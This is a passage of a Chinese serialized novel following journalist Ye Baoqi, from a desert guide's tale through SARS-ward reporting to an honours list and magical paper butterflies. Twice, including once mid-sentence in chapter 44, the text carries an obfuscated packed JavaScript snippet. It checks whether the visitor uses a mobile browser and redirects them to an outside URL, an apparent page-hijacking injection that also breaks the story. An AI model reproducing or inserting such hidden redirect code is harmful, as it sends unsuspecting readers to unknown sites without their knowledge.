;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他平静得像在说明天的天气:“我给自己选好了地方。在‘白龙堆’西边,有片雅丹长得像卧佛,脚下有块平坦的盐板。我在那儿存了东西:一桶柴油,够烧三天三夜;一把铁锹;还有封信,写给我儿子的。” 信的内容他倒背如流:“要是哪天我进去了没出来,别大规模找。等我三个月,让沙子把我安顿好了,再来收骨头。收的时候带瓶酒,浇在盐板上,算是请这片土地喝一杯,谢谢它容我这些年。骨头烧了,撒在‘骆驼泉’——那儿是野骆驼喝水的地方,我做了记号。” 他盯着叶葆启:“这些话,你可以写。不是矫情,是说给那些还想进来的人听:罗布泊收人,是有规矩的。你尊重它的规矩,它给你一条生路;你不尊重,它连你的名字都吃掉。” 叶葆启离开帐篷时,东方已泛出鱼肚白。风完全停了,砂海静得像冻住的海洋。他走到半路,身后忽然传来歌声。 是吴文港在用蒙语唱长调。没有歌词,只有蜿蜒的旋律,时而高亢如鹰唳,时而低沉如地鸣。那声音在空旷处散开,竟激起了回音——不是山壁的回音,是大地本身的应和:盐壳在脚下微微震颤,发出细碎的、水晶碰撞般的声响。 叶葆启站住,忽然泪流满面。不是悲伤,是某种更庞大的东西冲刷过他,像第一次看见海的内陆孩子。他明白了,那二十八次穿越不是数字,是二十八层蜕下的皮,是二十八次死亡与重生。吴文港早已不是凡人,他是罗布泊长出的人形根须,是砂海浸泡出的活化石。 三个月后,《砂海摆渡人:吴文港的二十八度黄泉路》刊发在《内海都市报》特稿版,整版。摄影记者配的照片抓得极准:吴文广站在他的越野车引擎盖上,背景是吞噬一切的雅丹群。他左手搭在眉骨处眺望远方,右手垂着,指间夹着一根未点燃的烟。风撕扯着他的旧军装,衣摆扬起的瞬间,露出腰间挂着的驼骨匕首和那个磨得发亮的铜铃铛。 文章结尾,叶葆启这样写:“在这片连时间都会被风化的土地上,吴文港用二十八道车辙,镌刻了一部活着的《罗布泊志》。他不是征服者,是译者,把大地的密语翻译成人类能懂的路标。当我们这些外来者还在争论罗布泊是地狱还是天堂时,他早已成为它的一部分——既是它的囚徒,也是它的祭司。” 报道引起的反响超出预期。有导演想拍纪录片,有作家想合作出书,有基金会联系要资助野骆驼保护。吴文港一概婉拒,只接了个高校的邀请,去给地质系学生讲了一堂课。回来后给叶葆启打电话:“那些娃娃的眼睛亮晶晶的,像我小时候在戈壁夜里看见的狼眼睛。” 两年后的秋天,叶葆启接到陌生电话,是吴文港的女儿吴其其格,蒙语里的“花朵”。女孩声音清脆:“叶叔叔,爸爸让我问您,报哪个学校好?” 叶葆启花了三个晚上整理资料,最终建议了内海大学的环境科学专业。录取通知书到的那天,吴文港发来彩信——是的,他终于学会了用手机拍照。画面里,父女俩站在若羌的邮局前,举着大红色的信封。吴文港笑得见牙不见眼,背后是终年积雪的阿尔金山。 九月,吴文港送女儿到内海。在报社楼下的小馆子,他第一次脱下那身野外装束,换了件崭新的蓝衬衫,袖口还留着折痕。三人吃饭时,他不断感慨:“这么多树,这么多水,夜里还有路灯,怪不得你们叫内海。” 临别时,他从后备箱搬出个木箱:“盐腌的骆驼肉,风干的沙枣,还有——这个给你。” “这个”是一瓶沙,标签手写着:“2021.04.17,彭公坡北三里。是日有双虹,东虹淡,西虹浓,谚云‘东虹日头西虹雨’,然终日无雨。沙中有云母碎片,夜光如星。” 叶葆启郑重接过。后来他把这瓶沙放在书房窗台,逢满月夜,真的会看见瓶中有微光浮动,像困着一小片银河。 去年春节,吴其其格来拜年,说起父亲近况:“又进去了,第三十次。这回是带央视拍纪录片,说要找‘会唱歌的石头’。出发前给我发短信,说如果这次找到彭加木的线索,他就退休,来内海帮我带孩子——虽然我连男朋友都还没有呢。” 女孩笑,叶葆启也笑。笑着笑着,两人都望向西边。内海华灯初上,而五千公里外的罗布泊,此刻应是繁星低垂,砂海无声。那个与砂海签了生死契的男人,或许正躺在某个雅丹的阴影里,耳朵贴地,听着远古商队的驼铃,听着盐晶生长的微响,听着这片死亡之海在月光下缓慢呼吸。 而他左耳的耳鸣,今夜想必格外清晰——那是砂海在对他絮语,用只有他们能懂的语言,讲述着第二十九个、第三十个,乃至无穷尽的故事。在那些故事里,他不是过客,是标点,是注脚,是正文本身。是砂海摆渡人,也是被砂海摆渡的魂。 44. 第044章 名讳与归途 那个春天来得迟疑不决。内海市的槐树枝头刚冒出鹅黄嫩芽,就被一阵从地底升起的寒气逼退了回去。街巷里飘荡着石灰水的味道,浓得化不开,像一层看不见的纱,蒙在所有人的鼻息上。叶葆启经过报社楼下那条窄巷时,总看见墙角新撒的石灰粉,白得刺眼,像一条断续的河,流向不知名的深处。 四十八岁的他,脚步已不如年轻时轻快。上楼时,他能听见自己的膝盖在轻声叹息,那声音只有他自己懂得——是多年奔走落下的印记,如同老树内里的年轮。 会议室里的空气比外面更加凝重。陈秉烛坐在长桌尽头,眼镜片后的眼睛布满血丝,像熬过几宿的守夜人。墙上挂钟的秒针走动声格外清晰,嗒,嗒,嗒,敲打着每个人的耳膜。 “南边吹来的怪雾,”陈秉烛开口,声音沙哑,“已经到城门口了。” 没人问是什么雾。大家都低着头,看自己面前的笔记本,上面空白着,等待着被填满,又害怕被填满。 “需要有人进去。”陈秉烛说,“进到雾最浓的地方,看看里面究竟是怎样光景。” 沉默像水银一样灌满了会议室。窗外的天色灰蒙蒙的,分不清是晨是昏。叶葆启盯着自己放在桌上的双手,手背上已经有了淡淡的斑,像时间撒下的芝麻。他想起了二十五年前那个决定北上的夜晚,想起了这些年来写过的无数个名字——有些名字后来上了光荣榜,有些名字进了讣告栏。 “我去吧。” 声音从他自己喉咙里发出时,叶葆启微微一惊,仿佛那是另一个人在说话。但他随即挺直了脊背,像一棵在风里站久了的树,知道如何保持自己的姿态。 陈秉烛看着他,嘴唇动了动,最终只说出一句:“装备都准备好了。” 培训是在市郊一处废弃的仓库里进行的。日光从高高的天窗斜射下来,照亮空气中飞舞的尘埃。教练是个退伍军人,脸上的表情像用刀刻出来的一般,没有一丝多余。 “这不是穿衣,”教练说,“这是裹尸。” 话说得难听,但没人笑。叶葆启学着别人的样子,先戴上第一层口罩,然后是第二层。呼吸开始变得费力,像隔着一层棉被喘气。接着是护目镜,刚戴上就起了雾,世界变得模糊不清。最后是防护服,那种厚重的、密不透风的白色织物,把人从头到脚包裹起来。 “记住顺序,”教练的声音仿佛从很远的地方传来,“脱比穿更重要。一步错,步步错。” 叶葆启在镜子里看见自己的模样:一个白色的、没有面孔的人形。只有护目镜后隐约的眼睛,证明里面还有一个活人。他突然想起小时候在老家见过的蚕茧,也是这样密不透风的包裹,里面的生命正在经历一场蜕变——或者死亡。 培训结束后,他独自在更衣室坐了很久。脱下防护服的过程像蜕皮,每一层剥离都伴随着嘶啦的声响,仿佛皮肤也跟着被撕下。他摸了摸自己的脸,确认那还是自己的脸。 素琴那几夜总是醒着。叶葆启假装睡着,却能听见她在身旁轻轻的叹息,像秋风吹过枯萎的荷叶。他们的婚姻已走过二十多个春秋,早已不需要太多言语。但这一次,沉默里有一种不同以往的重。 临走前那个清晨,素琴起了大早,在厨房里熬糯米粥。糯米是托人从乡下捎来的新米,粒粒晶莹如玉。她熬得很慢,很用心,用文火煨着,不时用木勺轻轻搅动,怕粘了锅底。 粥熬好后,她盛了满满一碗,端到叶葆启面前。粥面上撒了几粒枸杞,红得像血滴。 “吃吧,”她说,“糯米的,粘。” 叶葆启懂她的意思——吃了糯米粥,就会被粘住,就会回来。这是老家流传的说法,素琴从不说这些,今日却破了例。 他慢慢吃着粥,每一口都嚼得很细。素琴坐在对面看着他,眼睛红红的,但没有流泪。吃到碗底时,他看见一颗完整的红枣,已经煮得开了花,露出里面金黄的枣肉。 “枣是早归。”素琴轻声说。 儿子叶舟从大学打来电话,声音透过听筒传来,带着电流的杂音,像从另一个世界飘来:“爸,我们宿舍楼底下也撒了石灰线。” “别跨过那条线。”叶葆启说。 “那你呢?” 叶葆启沉默片刻,说:“我是记者。” 挂断电话后,他站在阳台上,看这座熟悉的城市。街道上空荡荡的,偶尔有车驶过,也是急匆匆的。所有的店铺都挂着“已消毒”的牌子,玻璃门上贴着各种告示,字的边缘已经开始卷曲。这座城市像一只受了惊的蚌,紧紧闭起了壳,不知道里面是珍珠,还是腐烂的肉。 车在传染病医院门口停下时,叶葆启才发现这里已经变得认不出了。铁栅栏外又加了一层临时围挡,白色的,上面用红漆写着巨大的警示语。门口站着穿防护服的人,分不清是保安还是医护,全都一个模样。 登记,测温,再登记。表格上的字迹因为反复消毒已经模糊不清。然后进入缓冲区,开始那套复杂的穿戴仪式。 这一次,当他完全包裹好后,世界变了模样。呼吸声在自己耳中放大,像拉风箱一样沉重。护目镜上的水汽让视野变得朦胧,所有东西的边缘都柔和了,模糊了,仿佛置身水底。他试着走了几步,防护服哗啦作响,像穿着纸做的铠甲。 摄影记者小孙比他年轻二十岁,此刻却像个笨拙的孩子,手脚都不知如何摆放。他们互相检查,在后背上用记号笔写下名字和单位。叶葆启感觉到笔尖透过防护服,在背上划过的触感,不疼,但异常清晰。 “叶老师,您背上有字了。”小孙说。 “写的什么?” “《内海都市报》,叶葆启。” 叶葆启点点头。名字被写在外面,人却在里面,这是一种奇怪的错位。他突然想,如果自己倒在这里,人们会通过背上的字认出他,而不是通过他的脸。名字成了人最后的标识,面容反而退居其次。 穿过最后一道门时,他们进入了真正的“红区”。其实这里并没有红色,一切都是白的:白色的墙,白色的地板,白色的灯光,白色的人影。但“红”在意识里,在想象中,在那些看不见却无处不在的威胁里。 走廊长得没有尽头,两侧是一扇扇紧闭的门,门上小小的玻璃窗像一只只眼睛,冷漠地注视着外面。消毒水的味道浓烈得刺鼻,但奇怪的是,叶葆启很快就闻不到了——不是味道消失,而是他的嗅觉已经麻木,像被这气味腌渍透了。 一个白色的人影向他们走来,步伐有些蹒跚。走近了,才看见防护服胸前写着“病区主任李”。 “采访时间三十分钟,”声音隔着层层屏障传来,闷闷的,“不要触碰任何东西,保持距离,不要进入病房。” 叶葆启点点头,虽然他知道对方可能看不清这个动作。 他们被带到一个相对宽敞的区域,大概是护士站。几个白色人影在忙碌,动作熟练而迅速,像经过无数次排练的舞蹈。但细看之下,能发现那些动作中的疲惫:一次弯腰后的停顿,一次转身时的迟缓,一次抬手时轻微的颤抖。 李主任开始介绍情况,数字,流程,措施。叶葆启认真记录,但他知道,这些冰冷的数字不是最重要的。他的眼睛在搜寻别的东西。 他看见一个护士的防护服背上画着一朵小花,简单的线条,却画得很用心。另一个护士背上写着一行小字:“妈妈很快就回家。”字迹有些歪斜,可能是自己反手写的。 “那些字......”叶葆启开口,发现自己的声音也变了,像从坛子里发出来的。 “名字是必须的,不然认不出谁是谁。”李主任说,“那些话......是给自己看的。有时候看着前面同事背上的字,就知道自己不是一个人。” 一个小个子护士推着治疗车经过,车上堆满了药品和器械。她的防护服明显不合身,袖子和裤腿都挽了好几道。经过他们时,她微微侧头,护目镜后的眼睛飞快地扫了他们一眼,又迅速转回去。那双眼睛里有血丝,有疲惫,但也有一种锐利的光,像刀锋在暗处一闪。 叶葆启请求拍摄。小孙小心翼翼地举起相机,快门声在寂静的走廊里格外响亮。那些白色人影似乎都顿了一下,但没有人停下来,工作继续着,像一条不会断流的河。 采访快结束时,一个护士长被叫来。她的防护服上写着“护士长张”,但“张”字后面似乎还有一笔没写完,像是一个“俪”字的起笔。 “我叫张俪。”她说,声音很平静,但叶葆启听出了一丝颤抖,像琴弦即将断裂前的震颤。 她讲述病房里的日常,那些琐碎的、重复的、却又生死攸关的工作。讲到一位老人时,她停顿了很久,久到叶葆启以为通讯中断了。 “他拉着我的手,说想看看太阳。”张俪终于继续说,“但窗户是封死的。我就告诉他,等好了,就能出去看个够。” “他好了吗?”叶葆启问。 “昨天走了。” 沉默再次降临。走廊尽头传来压抑的咳嗽声,一声,两声,然后停止了。 张俪忽然向前走了一小步,这个动作在严格的规程里是不允许的。叶葆启本能地想后退,但脚像钉在了地上。 “叶记者,”她的声音压得很低,像耳语,“我能托您一件事吗?” “您说。” “如果我回不去......如果......”她停下来,深呼吸——隔着口罩和防护服,这个动作看起来像一次全身的痉挛,“请在报纸上告诉我女儿,妈妈爱她。就说......妈妈是护士,必须在这里。” 叶葆启感觉自己的心脏像被一只冰冷的手攥住了。他想说些安慰的话,想承诺她一定会平安,但所有的语言在这一刻都显得苍白无力。他想起自己离家时素琴熬的糯米粥,想起碗底那颗开了花的红枣。 “您的女儿叫什么名字?”他最后问。 “叫小雨。今年七岁。” “小雨会等到妈妈的。”叶葆启说,声音出乎意料的坚定,“我们报纸会写你们如何凯旋,写你们如何走出这道门,脱下这身衣服,回家。” 张俪点点头,护目镜后的眼睛闭了一下,再睁开时,那里面有什么东西重新凝聚起来。她转身离开,步伐比来时稳了一些。叶葆启看着她背上的字,“护士长张”那未写完的一笔,在灯光下像一个破折号,指向未完成的句子。 采访结束的提示响起时,叶葆启才意识到三十分钟已经过去。这短短的半小时,却像在水底潜了一整天,每一个动作都缓慢而沉重,每一次呼吸都需要用力。 离开前,他最后看了一眼这条白色走廊。一个护士正扶着一位病人慢慢行走,两人都穿着防护服,像两个白色的幽灵在晨雾中漫步。病人的脚步虚浮,走几步就要停下来喘气。护士耐心地等着,手始终稳稳地扶着。 叶葆启突然想,如果此刻有外人闯入,看见这景象,也许会以为是什么神秘的宗教仪式。白色的人形,缓慢的动作,寂静的空间,一切都超脱了日常,进入了一种近乎神圣的状态。 脱卸防护服的区域像进行某种净化仪式的地方。每一步都有严格的顺序,每一步都要消毒。手套,护目镜,防护服,口罩......一层层剥离,每脱下一层,都要进行手部消毒。酒精凝胶冰冷黏腻,在皮肤上慢慢挥发,带走看不见的威胁。 当最后一只口罩摘下时,叶葆启深深吸了一口气。外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904196|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的空气原来如此清新,虽然还带着消毒水的余味,但已经能分辨出春天的气息——那种万物复苏的、微甜的气息。 他看了看镜子里的自己,脸上有口罩留下的深深压痕,像戴了一整天面具的戏子。眼睛布满血丝,不知是疲惫还是别的什么。他用冷水洗了把脸,水珠顺着脸颊流下,分不清是水还是泪。 回到报社已是深夜。整栋楼只有他们这层还亮着灯,像黑暗海面上的孤岛。叶葆启坐在电脑前,手指放在键盘上,却久久没有敲下第一个字。 他闭上眼睛,那些白色人影就在黑暗中浮现。背上的字,护目镜后的眼睛,颤抖的声音,未完成的笔画。他想起了张俪,想起了她说的“小雨”,想起了那颗碗底的红枣。 第一个字敲下时,窗外的天色已经开始发白。他写得很快,又很慢——快的是手指,慢的是思考。每一个词都要斟酌,既要真实,又要保护;既要展现艰难,又要传递希望。 《名讳与归途》——他最后敲下这个标题。名讳是写在背上的字,是职业,是责任,是不得不为的身份。归途是回家的路,是脱下防护服后的第一口自由呼吸,是女儿等到的母亲,是妻子熬的糯米粥。 他写那些背上的字,写那些字背后的故事:画花的护士其实刚过二十岁生日,男朋友在另一家医院;写“妈妈很快就回家”的护士,女儿每天把她的照片放在枕头下睡觉;写张俪的托付,但不写她的真名,只写“一位护士长”。 他写护目镜后的眼睛:年轻的,年老的,疲惫的,坚定的,恐惧的,勇敢的。写那些眼睛看到的东西:生命的挣扎,死亡的阴影,同僚的倒下,病人的康复。 他写那个扶着病人行走的瞬间,写那一幕里的耐心与尊严。写消毒水味道中的春天,写白色迷宫深处的人性之光。 天完全亮时,文章写完了。他数了数字数,六千出头。从头读一遍,修改了几个地方,然后发给了陈秉烛。 等待审核的时间里,他趴在桌上睡着了。梦里他回到了那条白色走廊,但这一次,所有的门都开着,阳光从窗户照进来,地上没有影子。病人们坐在床上,面容清晰,笑容真实。张俪脱下防护服,里面是一件普通护士服,胸牌上写着她的全名。她向叶葆启挥手,说:“告诉小雨,妈妈明天就回家。” 报道见报那天,报社的电话响了整整一天。有读者哭泣,有读者感谢,有读者询问如何捐款捐物。一家工厂送来了三百箱牛奶,说是给医护人员的;一个小学生送来了自己的存钱罐,里面有五十二元八角;一位老人送来一篮子鸡蛋,每个鸡蛋上都用红纸写着“平安”。 叶葆启接电话时,手一直在抖。不是因为累,是因为那些声音里的情感太厚重,厚重到他几乎承载不住。 一周后,他听说张俪所在的团队无人感染,全部平安。他写了一篇简短的后续,结尾处写道:“名讳写在背上,是为了辨认;刻在心里,是为了铭记。归途或许漫长,但每一步都算数。向所有在白色迷宫中寻找出路的人致敬——你们的名字,不会被雾气吞噬。” 非典——人们后来如此称呼那段日子——终于慢慢退去,像潮水退下沙滩,留下满目疮痍,但也留下被冲刷干净的贝壳。城市重新活过来,但不再是原来的样子。街上的人又多了,但许多人脸上还戴着口罩,像没有完全从梦中醒来。 叶葆启走在回家的路上,经过那条撒石灰的巷子。石灰线已经淡了,被雨水和脚步冲刷得只剩隐约的痕迹。他蹲下来,用手指摸了摸那点白色,粉末沾在指尖,轻轻一吹就散了。 家门口,素琴在等他。桌上又有一碗糯米粥,这次撒的是桂花,金黄金黄的,香气扑鼻。 “吃吧,”素琴说,“这次不粘了,是香的。” 叶葆启慢慢吃着粥,觉得这是这辈子吃过最香的一顿饭。吃到碗底时,他又看见一颗红枣,还是煮得开了花,金黄的枣肉露出来,像一个小小的太阳。 夜里,他翻开自己的采访本,找到记录张俪托付的那一页。那是本子的第四十四页,一个巧合的数字,像冥冥中的安排。他盯着那几行字看了很久,然后轻轻合上本子。 月光从窗户照进来,洒在本子封面上,那上面有他名字的烫金字:叶葆启。他忽然明白了,每个人都有自己的名讳要背负,都有自己的归途要走。记者如此,医生如此,所有人都如此。区别只在于,有些人把名讳写在背上,让所有人都看见;有些人把名讳刻在心里,只有自己知道。 但无论哪种,当迷雾降临,当道路难行,那些名讳就是灯,照着归途,一步一步,走回家去。 窗外的槐树不知何时已经绿了,新叶在月光下泛着银光。春天虽然迟到,但终究是来了。叶葆启关上灯,在黑暗里坐了一会儿,然后起身走向卧室。素琴已经睡了,呼吸均匀,像一首温柔的歌。 他躺下来,闭上眼睛,知道明天还有新的故事要写,新的路要走。但今夜,他可以好好睡一觉,在糯米粥的香气里,在红枣的甜味里,在名讳与归途之间,找到一个暂时的平衡点。 而在城市的另一头,在医院的值班室里,张俪刚写完交班记录。她揉了揉酸痛的脖子,走到窗边。夜色正浓,但东方已经有一丝微光,很淡,但确实存在。她想起那位姓叶的记者,想起他说的话,想起女儿小雨。 明天休息,她终于可以回家了。想到这个,她笑了,虽然口罩遮住了笑容,但眼睛弯成了月牙。 护目镜后的眼睛,终究会看见太阳——她想,然后关掉灯,走向更衣室。那里,她的便服挂在柜子里,上面没有名字,只有洗衣液淡淡的清香。那是属于张俪的味道,一个母亲,一个护士,一个终于要回家的人的味道。 45. 第045章 春寒与蝴蝶 表彰名单下来的那个下午,报社走廊里的空气突然变得粘稠。阳光透过积尘的窗玻璃,在地板上切割出明暗交错的格子,像某种古老的棋局。打印纸散发着油墨与铁锈混合的气味——那是印刷机深处沉淀了二十年的味道,此刻正从总编室门缝里一丝丝渗出来。 解平生捏着那份红头文件,指节泛白。他站在办公室门口,看着叶葆启佝偻着背整理读者来信的背影,忽然觉得那背影正在缓慢地溶进昏黄的光线里,像一块正在被时间舔舐的饴糖。 “葆启,”解平生的声音干涩,“名单上没有你。” 叶葆启的手没有停。他正用一把铜质裁纸刀小心翼翼地拆开一封信,刀刃划过信封的嗤嗤声,在寂静的办公室里异常清晰。那刀是他师父传下来的,刀柄上的云纹已经被摩挲得近乎平滑,在光线下泛着人体油脂特有的温润光泽。 “嗯。”他应了一声,像石子落入深井。 “你进了白袍之城,写了七篇‘手记’,全城都在传阅。”解平生走到他桌前,文件被轻轻放在一堆信件上,“就连卫生局的老李都说,你的报道让防护物资拨款提前了半个月。可现在……” 叶葆启终于抬起头。他的眼睛在花镜后面显得格外深邃,眼白泛着淡淡的黄,那是常年熬夜与风沙共同浸染的颜色。他笑了笑,眼角的皱纹像受惊的河蚌般缓缓展开:“平生,你看这封信。” 信纸被推到解平生面前。纸是那种廉价的学生作业纸,蓝色的横线,边缘还留着撕下的毛边。字迹歪斜却用力,是个孩子写的: “记者爷爷,我在收音机里听到您写的《白袍下的眼睛》。我妈妈也是穿白袍的,她已经四十七天没回家了。昨天晚上我梦到她变成了一只很大的白鸟,从医院的窗户飞走了。爸爸哭了,说我在胡说。可我知道您会懂——您在报道里写,有个护士阿姨说感觉自己快要长出翅膀了。您说,我妈妈是不是真的变成鸟了?如果是,她什么时候飞回来?” 解平生的喉咙动了动。 “这封信,”叶葆启取回信纸,用手指轻轻抚过那些字迹,“比任何奖状都沉。” 窗外忽然起风了。五月的杨絮不知从何处涌来,一片片黏在玻璃上,像是春天咳出的棉絮。叶葆启记得很清楚,就在四十七天前——正是那个孩子母亲离开家的日子——他第一次穿上防护服走进那座被称作“白袍之城”的医院。那衣服是蓝色的,薄得像蝉翼,穿在身上却重如铁甲。护目镜很快就被呼吸的雾气模糊,世界在他眼前化作一片乳白色的混沌。 他在混沌中看见了眼睛。 无数的眼睛。护目镜后面的,口罩上方的,被汗水浸透的刘海遮掩着的。年轻的,年老的,疲惫的,坚毅的,恐惧的,温柔的。他试图记录下那些眼睛,却发现文字在巨大的真实面前苍白如纸。最后他写下的,是一个护士的话:“有时候我觉得自己快要长出翅膀了,不是天使的那种,是鸟的——想飞离这里,又想把所有人都驮在背上带走。” 报道见报的第二天,他接到了十七个电话。有读者哭,有医生骂,有官员质询,也有同行沉默后的叹息。那篇报道像一块投进死水的石头——不,不是石头,是一颗种子,在春天的冻土里裂开了第一道缝隙。 “可是……”苏东不知何时也凑了过来,这个去年才来的小伙子脸上长着几颗青春痘,此刻因为激动而泛红,“叶老师,这不公平!我们都知道您冒了多大风险——那次您咳嗽了三天,大家都以为……” “以为我要去陪那些白袍人了?”叶葆启摘下眼镜,用衣角擦拭镜片。他的动作很慢,慢得让时间都不得不放轻脚步。“苏,我给你们讲个故事吧。” 办公室里的其他几个人都悄悄围了过来。这是叶葆启的习惯——他很少讲道理,总是讲故事。他说故事是活的,能在人心里生根发芽,而道理往往只是飘过的云。 “那是十五年前,我在西北沙漠采访。”叶葆启重新戴上眼镜,世界在他眼中恢复了清晰的轮廓,“有一天迷路了,水和食物都没了。太阳像烧红的烙铁贴在头顶,沙子烫得能烤熟鸡蛋。我以为自己要死在那里了。” 他停下来,从抽屉里摸出一包皱巴巴的香烟,抽出一支,却不点燃,只是放在鼻子下深深地嗅着。烟草的辛辣气息让他眯起了眼睛。 “后来我找到了一个烽燧遗址。夯土墙塌了一半,但背阴处还有点凉意。我瘫在那里等死,突然看见墙上有些痕迹——不是古人刻的,是新的。凑近一看,是铅笔写的字,很小,密密麻麻。” “‘今天是第八天,水还剩半壶。老赵发烧了。’ “‘第九天,老赵走了。我们把他埋在烽燧东三十步,做了标记。’ “‘第十一天,看见直升机了,但没看见我们。’ “‘第十三天……’” 叶葆启的声音低了下去,像沙漠里的夜风拂过沙丘。“最后一行字是:‘不知道谁会看见这些。如果你也是困在这里的人,往东走,太阳升起的方向,八十里外有公路。祝你好运。’” 办公室里静得能听见灰尘落下的声音。 “我靠着那点荫凉熬到傍晚,然后往东走。走了一夜,第二天中午真的看见了公路。”叶葆启终于点燃了那支烟,青色的烟雾袅袅升起,在他头顶盘绕成奇怪的形状,“后来我查到了,那是一支地质勘探队,三年前失踪的,四个人只活下来一个。” 他深深吸了一口烟,让烟雾在肺里停留了很久才缓缓吐出。“那个活下来的人,在医院躺了两个月,出院后辞了工作,去了哪里没人知道。他没有接受任何采访,没有要任何表彰。媒体想把他塑造成英雄,他却消失了,像一滴水蒸腾在沙漠的热浪里。” “为什么?”苏东忍不住问。 “我也一直在想为什么。”叶葆启的视线穿过烟雾,投向窗外遥远的天空,“直到有一次,我梦见自己回到了那个烽燧。墙上的字活了,一个个跳下来,围着我又唱又跳。它们说:‘我们不是英雄,我们只是不想死的人。我们写的也不是遗言,是给后来者的路标。’醒来后我明白了——有些事,做了就是做了,像种子埋进土里,像字刻在墙上。它不需要被展览,被歌颂。它就在那里,在时间里,等待另一个需要它的人。” 烟灰无声地掉落。叶葆启看着那截灰烬,忽然笑了:“你们说,比起那个在墙上留下路标的人,我进一趟白袍之城,写几篇报道,算什么?” 那天深夜,叶葆启最后一个离开报社。 走廊的灯已经熄了一半,剩下的一半苟延残喘地发出嗡嗡的电流声,把人的影子拉长又缩短,像是某种不安的呼吸。他走到公告栏前,那张红榜还贴在那里,在昏暗的光线下红得发黑,像一块凝固的血。 他的名字确实不在上面。 但他看见了另外一些名字:王蔓,那个哭着给他打电话说不敢进隔离病房、最后却写出动人报道的姑娘;陈默,连续三十小时蹲守发热门诊,拍下“白袍人倚墙小睡”那张获奖照片的小伙子;还有李国,因揭露物资分配问题被约谈三次仍不罢休的老愤青…… 每一个名字后面,他都看见了一张年轻的脸,一双燃烧的眼睛。他想起他们第一次拿起记者证时的表情,那种混合着神圣与惶恐的表情,像教徒第一次触摸圣物。那时他也年轻,也相信笔能改变世界。现在他知道了,笔改变不了世界,但能在墙上凿开一扇窗,让光透进来,让空气流通起来。这就够了。 他的手轻轻抚过那些名字。指尖的触感粗糙而温热,仿佛能感受到那些名字下跳动的心脏。忽然,他听见一阵细微的声响。 起初他以为是老鼠。但这声音更轻,更密,像是无数片羽毛在摩擦。他环顾四周,空无一人的走廊里,声音似乎来自公告栏后面。 他绕到公告栏背面——那里堆着过期的报纸,灰尘积了厚厚一层。而在灰尘之上,他看见了不可思议的景象: 成百上千只蝴蝶,纸做的蝴蝶,正从一堆废稿纸中钻出来。 它们是用报社的稿纸折成的,四开大小,上面还能看见密密麻麻的修改痕迹和红笔的批注。有的蝴蝶翅膀上是标题草稿,有的是采访片段,有的是被枪毙的评论文章。此刻,这些纸蝴蝶正颤巍巍地抖动着翅膀,在昏暗的光线下泛起微弱的、珍珠般的光泽。 叶葆启蹲下身,屏住呼吸。 一只蝴蝶缓缓飞起,落在他肩头。他侧头看去,翅膀上的字迹依稀可辨:“……凌晨三点,急诊室的灯还亮着。护士小刘告诉我,她已经连续工作了十八个小时,但不敢休息,因为一闭上眼就会看见那些渴望呼吸的脸……” 这是他那篇《白袍下的眼睛》的初稿段落。 又一只蝴蝶飞来,停在他手背:“……物资仓库前,志愿者老张搓着手说:‘我们不怕累,就怕东西送不到需要的人手里。’他的手套破了洞,食指冻得通红……” 《手记之三:奔跑的红色马甲》。 越来越多的蝴蝶从废纸堆中升起。它们绕着叶葆启飞舞,翅膀扇动时发出沙沙的声响,像是无数支笔在纸上同时书写。他看见了所有七篇报道的片段,看见了自己被编辑删掉的尖锐质问,看见了那些最终未能见报但同样倾注心血的字句。 它们都活了。这些被油墨浸透、被红笔划改、被时间遗忘的纸页,在这个寻常的深夜里,化作了会飞的生灵。 叶葆启伸出手,一只蝴蝶落在他掌心。它比其他蝴蝶都要小,翅膀上的字迹也格外娟秀——那不是他的字。他仔细辨认: “妈妈,今天有个记者叔叔来采访。他问我怕不怕,我说不怕,因为妈妈说勇敢的孩子才能当医生。其实我撒谎了,我很怕。但我没说,因为记者叔叔的眼睛也很累,我不想让他更难过。——小凡,九岁” 他想起来了。在医院儿科隔离区外,他遇见了一个穿着过大防护服的小女孩。她是医护人员的子女,父母都在一线,她被临时安置在这里。采访结束时,小女孩悄悄塞给他一张纸条,说“给记者叔叔的独家新闻”。 这篇“独家新闻”最终没有发表,因为涉及未成年人隐私。但他一直留着这张纸条,夹在采访本最深处。 而现在,它化作蝴蝶,在他掌心轻轻颤动翅膀。 叶葆启忽然明白了。这些蝴蝶,是他这些年所有未能发表却依然重要的文字,是所有默默无闻却依然滚烫的真实,是被荣誉名单遗漏却依然在某个角落发光的灵魂。它们不曾登上红榜,却在这个春天的深夜里,获得了另一种生命形态。 他站起身,蝴蝶随着他的动作腾空而起,在走廊里汇成一道缓缓旋转的河流。它们向着窗外飞去——窗户明明关着,它们却径直穿透了玻璃,像穿透一层不存在的水面,消失在夜色中。 叶葆启追到窗前,向外望去。 月光很好。无数纸蝴蝶在夜空中飞舞,向着城市各个方向散开。有的飞向医院的方向,有的飞向居民区,有的飞向政府大院。它们越飞越高,最终融进月色里,化作漫天闪烁的光点,像是星群坠落人间,又像是大地向天空发出的、无声的信号。 第二天,没有人提起昨夜的事。 叶葆启照常上班,照常拆信,照常接热线电话。只是当阳光再次照进办公室时,他总觉得空气中漂浮着某种细微的、闪光的东西,像是蝴蝶飞过后留下的磷粉。 解平生还是不甘心,午饭时又凑过来:“葆启,总编让我告诉你,社里准备给你申请一个特别贡献奖,虽然不算正式表彰,但至少……” “平生,”叶葆启打断他,夹起一块红烧肉放进对方饭盒里,“尝尝这个,食堂老张今天发挥超常。” 解平生怔了怔,看着那块油光发亮的红烧肉,忽然笑了:“你啊,真是……” 真是怎样,他没说下去。但叶葆启懂了。他们共事二十年,有些话早已不需要说完。 